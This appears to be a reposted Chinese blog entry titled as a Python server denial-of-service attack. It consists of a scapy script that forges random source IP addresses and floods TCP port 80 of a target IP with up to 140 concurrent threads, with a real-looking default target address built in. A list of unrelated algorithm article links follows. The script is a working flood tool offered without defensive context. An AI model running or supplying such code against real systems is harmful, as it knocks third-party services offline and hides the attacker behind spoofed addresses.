• python服务器拒绝服务器攻击



    # -*- coding: cp936 -*-
    from scapy.all import *
    from threading import Thread,activeCount
    from random import randint
    class Loop(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            ip = str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))
            sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
           
    class Main(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            limit = 140
            total = 0

            while True:
                if activeCount() < limit:
                    Loop(remoteAddr = self.remoteAddr).start()
                    total = total + 1
                print '目前已经进行的HttpFlood的次数为:',total
    if __name__ == '__main__':
        remoteAddr = raw_input('IP=')
        if remoteAddr == '':
            remoteAddr = '202.103.25.12'

        Main(remoteAddr = remoteAddr).start()

    http://www.jb51.net/article/45771.htm

  • 相关阅读:
    BZOJ 4032: [HEOI2015]最短不公共子串 (dp*3 + SAM)
    后缀自动机详解!
    BZOJ 3926: [Zjoi2015]诸神眷顾的幻想乡(广义后缀自动机 多串)
    BZOJ 3938 Robot
    [JSOI2008]Blue Mary开公司
    [ZJOI2017]树状数组
    [JSOI2015]非诚勿扰
    [HNOI2011]任务调度
    BZOJ 3680 吊打XXX
    POJ 3318 Matrix Multiplication
  • 原文地址:https://www.cnblogs.com/enet01/p/6560264.html
Copyright © 2020-2023  润新知